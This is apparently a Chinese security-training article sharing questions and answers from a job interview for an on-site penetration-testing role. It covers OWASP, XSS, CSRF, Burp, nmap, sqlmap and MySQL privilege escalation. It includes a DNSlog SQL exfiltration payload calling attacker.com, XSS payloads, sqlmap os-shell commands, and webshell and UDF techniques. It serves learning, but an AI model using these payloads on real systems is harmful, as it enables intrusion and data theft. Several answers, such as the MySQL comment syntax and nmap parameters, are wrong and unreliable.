扫码领资料
获网安教程
本文由掌控安全学院 - 上善若水 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~( https://bbs.zkaq.cn)
所面试的公司:xx服
所在城市:宁波
面试职位:驻场安服
面试过程:49 分钟
面试官的问题:
1、owasp top 10
1.失效的访问控制(Broken Access Control)2.加密机制失效(Cryptographic Failures)3.注入4.不安全设计5.安全配置错误6.自带缺陷和过时的组件7.身份识别和身份验证错误8.软件和数据完整性故障9.安全日志和监控故障10.服务端请求伪造(SSRF)
2.python的数据类型有哪些
数据类型主要是以下9种分别是
1. Int(整型);2. Float(浮点型);3. Bool(布尔型);4. Str(字符串);5. None(空值);6. List(列表);7. Tuple(元组);8. Dict(字典);9. Set(集合)。
3.list的数据类型是用什么标识符来标识的
方括号[]
4. 字典型是用什么类型标识的
花括号{}
5. 盲注用的什么数据库函数
6.php反序列化原理和过程
7.java字节码是什么
Java字节码(Java bytecode)是Java虚拟机(JVM)执行的一种虚拟指令格式。
Java字节码是Java虚拟机执行的一种虚拟指令格式,具有跨平台性、简单性、安全性和健壮性等特点。它通过Java编译器生成并由Java虚拟机解释执行,在Java程序的开发和运行过程中发挥着重要作用。
8.java int类型占用多少字节
int
类型占用 4 个字节。每个字节包含8位,因此4个字节总共可以容纳32位
9. 数据库语句注释的几种方法或者关键字
在MySQL中,行注释有两种表示方式:
使用双斜线(//) 使用两个连续的减号(--)
块注释用于对多行代码进行解释或说明,通常用于对复杂逻辑或算法进行说明。在MySQL中,块注释使用/开头,以/结尾,可以跨越多行
10. 什么是宽字节注入
11.xss的原理和防御方法
XSS的原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其他用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。
12.DNSlog原理
DNSlog的原理主要涉及利用域名系统(DNS)的解析过程来获取信息
DNSlog即DNS的日志,记录了域名解析时的域名和解析IP的信息。这些日志可以被用于分析目标系统的行为或获取敏感信息。在网络安全领域,攻击者可以利用DNSlog来捕获目标系统的回显信息,尤其是在目标系统没有直接回显功能的情况下。
DNSlog注入原理是将盲注转换为显错注入,通过利用DNS解析过程来获取信息。
-
1. 攻击者准备:攻击者首先创建一个域名(如attacker.com),并在DNS服务器上配置NS记录,将该域名指向一个特定的服务器。在这个特定的服务器上,攻击者设置一个DNS服务,用于接收和解析请求。 -
2. 构造恶意查询:攻击者构造一个恶意的SQL查询语句,其中包含一个指向其DNSlog平台的子域名(如 select load_file(concat('\\',(select database()),'.attacker.com/abc'))
)。这个子域名使用了数据库中的某些数据(如数据库名)来构建。 -
3. 触发DNS解析:当目标系统执行这个SQL查询时,它会尝试从该子域名加载文件,从而触发DNS解析请求。 -
4. 获取敏感信息:由于DNS解析过程中会留下日志,这些日志会反弹到攻击者的DNSlog平台上。通过读取这些解析的日志,攻击者可以获取到数据库中的敏感信息。
为了防止DNSlog注入攻击
-
1. 严格限制对外部资源的访问,特别是那些可能包含敏感信息的资源。 -
2. 对输入数据进行充分的验证和过滤,以防止恶意SQL查询语句的注入。 -
3. 定期检查DNS日志,以发现潜在的攻击行为。
13. 过滤了script标签,还有哪些标签
事件属性标签:
-
• 如 <img>
标签的onerror
、onload
等事件属性。 -
• 示例: <img src="x" onerror="alert('XSS')">
-
• 这类标签可以通过设置事件属性来执行JavaScript代码。
其他可执行代码的标签:
-
• 如 <svg>
标签,它允许嵌入XML和JavaScript。 -
• 示例: <svg/onload=alert(1)>
-
• 某些版本的浏览器可能允许在这些标签中执行JavaScript代码。
JavaScript伪协议:
-
• 如 javascript:
伪协议,它允许在URL中直接执行JavaScript代码。 -
• 示例: <a href="javascript:alert('XSS')">点击我</a>
-
• 尽管过滤了 <script>
标签,但攻击者仍可能利用这种伪协议来执行恶意代码。
CSS注入:
-
• 虽然CSS本身不是脚本语言,但攻击者可以通过CSS注入来破坏页面布局或触发某些事件(如通过 :hover
伪类)。 -
• 示例:通过注入CSS来隐藏或显示某些元素,从而改变页面的正常行为。
利用HTML实体和字符编码:
-
• 攻击者可能会尝试使用HTML实体(如 &#lt;script>
)或字符编码(如u003Cscriptu003E
)来绕过过滤规则。
14.XSS常见标签
aimgiframeaudiovideosvgbuttondivscriptpinputbody
15. 常用的弹窗事件
alert弹窗confirm弹窗 prompt弹窗 onmouseenter:当鼠标进入选区执行代码onmouseleave:当鼠标离开选区执行代码onfocusin:当获得焦点时执行代码onfocusout:当失去焦点时执行代码oncopy:鼠标右键执行复制时执行代码
16. 遇到input标签有哪些方式可以让它弹窗
其实很简单,就是在一个搜索框里,用什么办法可以弹窗
1. 使用JavaScript事件
-
• focus事件:当用户点击输入框(即输入框获得焦点)时,可以触发弹窗。这通常通过为 <input>
标签添加@focus
或onfocus
事件监听器来实现。 -
• click事件:除了focus事件,还可以直接为 <input>
标签添加@click
或onclick
事件监听器,这样无论输入框是否获得焦点,只要用户点击它,就会触发弹窗。
2. 使用前端框架的组件
-
• Vue框架:在Vue中,可以使用Element UI、Vuetify等UI库中的弹窗组件。例如,Element UI的 <el-dialog>
组件就可以与<el-input>
结合使用,通过绑定事件来实现点击输入框触发弹窗的效果。 -
• React框架:在React中,可以使用Ant Design、Material-UI等UI库中的弹窗组件。这些组件同样可以与 <input>
标签结合使用,实现类似的交互效果。
-
3. 使用HTML5的 input
类型虽然HTML5的input
类型(如type="file"
)本身并不直接触发弹窗,但结合JavaScript事件和前端框架的组件,可以实现更丰富的文件选择、预览等弹窗功能。
17.csrf原理,是怎么获取到对方的cookie的,什么场景下会出现csrf
构造恶意请求:
-
• 攻击者构造一个包含恶意请求的链接或HTML页面。
诱使用户点击浏览器自动发送请求:
-
• 当用户点击恶意链接或页面时,浏览器会自动向目标网站的服务器发送请求。 -
• 由于用户已经在目标网站上登录并生成了会话Cookie,浏览器在发送请求时会自动带上这个会话Cookie。
服务器处理请求:
-
• 目标网站的服务器接收到请求后,会验证会话Cookie中的信息。 -
• 由于会话Cookie是有效的,并且恶意请求的格式和内容与正常请求相似,服务器会误认为这个请求是用户自己发出的。
攻击者获取响应:
-
• 如果恶意请求包含了敏感操作(如转账、修改密码等),服务器会执行这些操作并返回相应的响应。 -
• 攻击者可以通过分析响应的内容来获取目标网站的Cookie(尽管直接获取Cookie值在大多数情况下并不现实,但攻击者可以通过观察响应来确认操作是否成功,并间接地利用Cookie维持的会话状态)。
需要注意的是,CSRF攻击的核心在于利用用户在目标网站上已经认证的身份和会话状态来执行敏感操作,而不是直接获取Cookie值。在大多数情况下,浏览器出于安全考虑,会限制JavaScript等客户端脚本对Cookie的读写操作。因此,攻击者通常无法直接通过CSRF攻击获取用户的Cookie值,但可以通过执行敏感操作来间接地利用Cookie。
18.csrf 防御
1.加token2.关键操作加图像验证码去验证3.设置不允许跨域请求4.关键操作需要检验密码,提交订单,付款之类的5.不使用get请求,转为post请求,对方没法利用
19.burp证书导入电脑时,应该要导到哪个证书管理处
受信任的根证书颁发机构
20. 全新电脑,burp通过http流量的详细操作步骤,怎么配置代理
21.burp怎么抓返回包
右键 Do intercept response to this request
22.burp爆破模块的四种方式分别适用于哪些场景
** 1. Sniper(狙击手)模式**
特点:按顺序一个一个参数依次遍历,一个参数遍历完,然后恢复成原数据,再遍历下一个参数。即,同一时间内只有一个参数参与遍历。适用场景: 已知一个参数(如用户名或密码)的值,希望测试另一个参数(如密码或用户名)的多个可能值。适用于单一参数的爆破,例如已知用户名,尝试多个密码。
2. Battering Ram(破城槌)模式
特点:能够同时对多个参数基于一个字典进行遍历。适用场景: 理论上适用于多个参数都使用相同字典集的情况,但实际上这种场景较为罕见。由于其局限性(如用户名和密码通常不会设置为相同的值),实际应用中可能较少使用。
3. Pitchfork(木叉)模式
特点:同时对多个参数针对对应的字典进行遍历,遍历次数取决于最短的字典。适用场景: 已知部分参数的值(如用户名),但希望测试其他参数(如密码)的多个可能值,且这些参数有对应的字典。适用于有类似token这种防爆破手段的场景,可以针对某一个用户爆破密码。在面对需要实时更新token的爆破场景时,由于该模式能实时更新token数据,因此具有优势。
4. Cluster Bomb(集束炸弹)模式
特点:使用多组数据集合进行组合(笛卡尔积)后,依次对多个爆破点变量进行爆破。即对所有可能的参数组合进行遍历。适用场景:未知多个参数的值,且希望测试所有可能的组合。适用于大部分的爆破场景,特别是当需要测试多个参数的多个可能值时。 但需要注意,在面对有类似token这种防爆破手段且每次请求都更新的场景时,可能会导致请求数量不明且爆破结果不确定。
23. 用哪些工具去扫端口
24.nmap扫描全端口的参数
-
1. -p:这个参数用于指定要扫描的端口或端口范围。要扫描全端口,可以使用“-p 1-65535”这样的参数,其中“1-65535”表示扫描从1到65535的所有端口。 -
2. -sS:这是TCP SYN扫描(半开放扫描)的参数。由于它不必全部打开一个TCP连接,因此扫描速度相对较快,并且较少被目标主机的日志记录。 -
3. -sU:用于进行UDP扫描。由于UDP是无连接的协议,因此扫描过程可能相对较慢,并且需要目标主机对不可达的端口发送ICMP消息作为响应。 -
4. -A:这是一个综合扫描选项,它启用操作系统检测、版本检测、脚本扫描和traceroute等功能。虽然这不是直接扫描全端口的参数,但在进行全端口扫描时,通常也会希望获取这些额外的信息。 -
5. -v 和 -vv:这些参数用于增加输出信息的详细程度。其中“-v”提供基本详细输出,“-vv”提供更详细的输出。 -
6. -oN:将扫描结果保存为正常格式的文件。例如,“-oN output.txt”会将扫描结果保存到名为“output.txt”的文件中。
25.nmap仅ping扫描参数
-sP 参数
-sP
参数用于进行ping扫描,也称作主机发现或存活扫描。这个参数会告诉Nmap仅发送ICMP echo请求(或其他类型的探测包,取决于Nmap的版本和用户的权限)来检测目标主机是否在线,而不会进行端口扫描或操作系统检测等其他操作。
使用-sP
参数时,你可以指定要扫描的目标主机或网络,如单个IP地址、IP地址范围、CIDR表示法等。例如,nmap -sP 192.168.1.0/24
会扫描192.168.1.0到192.168.1.255这个子网内的所有主机,检查哪些主机是存活的。
-sn 参数
-sn
参数也用于主机发现,但它与-sP
有所不同。-sn
参数会进行ping扫描以确定主机是否在线,但它不会显示任何端口信息。换句话说,-sn
参数用于快速检查网络上哪些主机是活跃的,而不关心它们开放了哪些端口。
使用-sn
参数时,同样可以指定要扫描的目标主机或网络。例如,nmap -sn 192.168.1.1-10
会扫描192.168.1.1到192.168.1.10这个范围内的所有主机,检查哪些主机是存活的,但不会显示它们的端口信息。
26.nmap指定线程数参数
-P
27.mysql查询所有表的表名
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'your_database_name';
28.mysql查询所有数据库名
SHOW DATABASES;
29. 分组查询的函数是什么
GROUP BY
与以下搭配
-
• AVG():计算平均值 -
• SUM():计算总和 -
• MIN():计算最小值 -
• MAX():计算最大值 -
• COUNT():计数
30. 排序用哪个函数
order by
31.sqlmap从文件加载数据包参数
-r
32.-u之后,想把post包的body部分(username=zhangsan and password=qqq)给加进去,用什么参数
--data
33. 标记指定位置为注入点的方法
打个*号在参数的值的后面
34.sqlmap查询当前数据库的用户名
指定数据库参数-D
指定表参数-T
35.sqlmap执行系统命令用什么参数
--os-cmd功能:允许用户执行任意的操作系统命令。
sqlmap -u "http://目标URL/?参数=值" --os-cmd="要执行的命令"注意事项:执行系统命令可能需要较高的权限,因此在实际应用中可能会受到限制。
--os-shell功能:提供一个交互式的shell环境,允许用户与数据库服务器进行更深入的交互,包括执行系统命令。
36. 执行--os-shell的前提
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在mysql、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。那么他创建的这两个函数可以执行系统命令。
在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建
37. 拿到mysql的注入点之后怎么提权到服务器
secure_file_priv无限制写webshell
前置条件
知道网站的绝对路径
高权限数据库用户(至少宝塔创建的数据库用户无权写操作)
load_file() 开启 即 secure_file_priv 无限制
在 MySQL 5.5.3 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5.3 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
网站路径宽松写入权限(宝塔面板默认755权限无法写入,需要改成777)
outfile和dumpfile的区别
outfile:支持多行数据同时导出
使用union联合查询时,要保证两侧查询的列数相同
会在换行符制表符后面追加反斜杠
会在末尾追加换行
dumpfile:
每次只能导出一行数据
不会在换行符制表符后面追加反斜杠
不会在末尾追加换行
因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;into outfile函数也可以写入二进制文件,只是追加的反斜杠会使二进制文件无法生效。如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制。
日志文件写 webshell
前置条件知道网站的绝对路径
Web 文件夹宽松权限可以写入
高权限数据库用户(至少宝塔创建的数据库用户无权set操作)
支持堆叠注入
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell,这个姿势也被用来突破限制。当然,为了支持堆叠注入,我们的php源代码需要修改。
Mysql Udf提权
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。
UDF提权条件
mysql < 5.0.67
导出路径随意
5.0.67 <= mysql < 5.1
udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
mysql > 5.1
必须要把udf.dll文件放到MySQL安装目录下的libplugin文件夹下,才能创建自定义函数
udf提权本质还是需要写入文件,所以所需要的root用户必须要是高权限用户,而且还必须拥有目标文件夹的写入权限。udf其实还是有一些使用场景的,比如:
弱口令/社工登录3306为root权限,但目标机器没web服务,写不了webshell。
找不到web服务的绝对路径,或者无权限写入文件。
注入查到了user的pwd hash值,反解出密码,但是无法远程登陆数据库。
手工提权
动态链接库在sqlmap中即可找到,不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,可以利用 sqlmap 自带的解码工具cloak.py 来解码使用。
其实udf对于注入的要求也还挺多:
高权限plugin 目录可写且需要 secure_file_priv 无限制(宝塔的mysql root用户也是无权限写入,权限755)GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
MOF 提权
只在 Windows Server 2003 的环境下才可以成功。
提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。本质还是离不开写文件。
38.3389 标准的6个字叫法
远程桌面协议(RDP)
39.3389端口使用的协议是什么
远程桌面协议(RDP)
ps:
端口0-65535http 80 https 443ftp 21 ssh 22 talent 23 smtp 25 dns 53sqlserver 1433 oracle 1521 mysql 3306 postgresql 5432
40.system32在哪个位置
C:WINDOWSsystem32
41. 将域名绑定指定ip的具体操作
42.Windows实现文件开机自动运行的具体操作
一、使用“启动”文件夹
-
1. 打开启动文件夹:按下Win+R键,输入 shell:startup
,然后按下回车键。这将打开系统的启动文件夹。 -
2. 添加快捷方式:将你想要开机自动运行的程序或文件的快捷方式复制到这个文件夹中。每次开机时,这些程序或文件将自动运行。
二、使用注册表
-
1. 打开注册表编辑器:按下Win+R键,输入 regedit
,然后按下回车键。这将打开注册表编辑器。 -
2. 导航到指定路径:
-
• 对于当前用户:导航到 HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
。 -
• 对于所有用户:导航到 HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
。
-
1. 创建字符串值:在右侧窗口中右键单击,选择“新建”->“字符串值”,然后将其命名为你想要启动的程序名。 -
2. 设置数值数据:双击新建的字符串值,在“数值数据”中输入你想要开机自动运行的程序或文件的完整路径(包括.exe文件名)。
三、使用任务计划程序
-
1. 打开任务计划程序:按下Win+S键,搜索“任务计划程序”并打开它。 -
2. 创建基本任务:在任务计划程序中,点击右侧的“创建基本任务”。 -
3. 设置任务名称和触发条件:输入任务名称,选择“当用户登录时”或“当计算机启动时”作为触发条件。如果你希望程序在所有用户登录时都运行,选择“当计算机启动时”。 -
4. 设置启动程序:在“操作”选项中,选择“启动程序”,然后浏览并选择你想要开机自动运行的程序或文件。 -
5. 完成任务创建:按照提示完成任务的创建。
四、使用本地组策略(适用于专业版或企业版)
-
1. 打开本地组策略编辑器:按下Win+R键,输入 gpedit.msc
,然后按下回车键。 -
2. 导航到脚本设置:导航到“用户配置”->“Windows设置”->“脚本(启动/关机)”。 -
3. 添加脚本:在“启动”项中,点击“添加”,然后浏览并选择你想要开机自动运行的脚本或程序路径。
43. 使用windows内置工具查看进程PID
任务管理器-进程tasklist
44. 一个进程的PID表示什么呢
PID是每个进程的唯一标识符,但请注意,这个唯一性是暂时的。当一个进程终止后,其PID可能会被分配给另一个新进程。
45. 查看ip
ipconfig
46. 查看dns
ipconfig /all
47.Windows查看当前开了哪些端口
netstat
48.21,22,23端口分别干什么用的
ftp
ssh
talent远程登陆
49. 微软的sqlserver 端口号
1433
50.192.168.0.0/16 ip范围是多少
192.168.0.0/16 代表的IP段就是 192.168.0.1 ~ 192.168.255.254
51.x-forward-for作用
是一个HTTP请求头字段,主要用于标识通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址
问的实在是太细了,给大家的建议:基础部分多看看,安服问的多是基础。
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):面试经验分享 | 2025某安全厂商宁波驻场
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论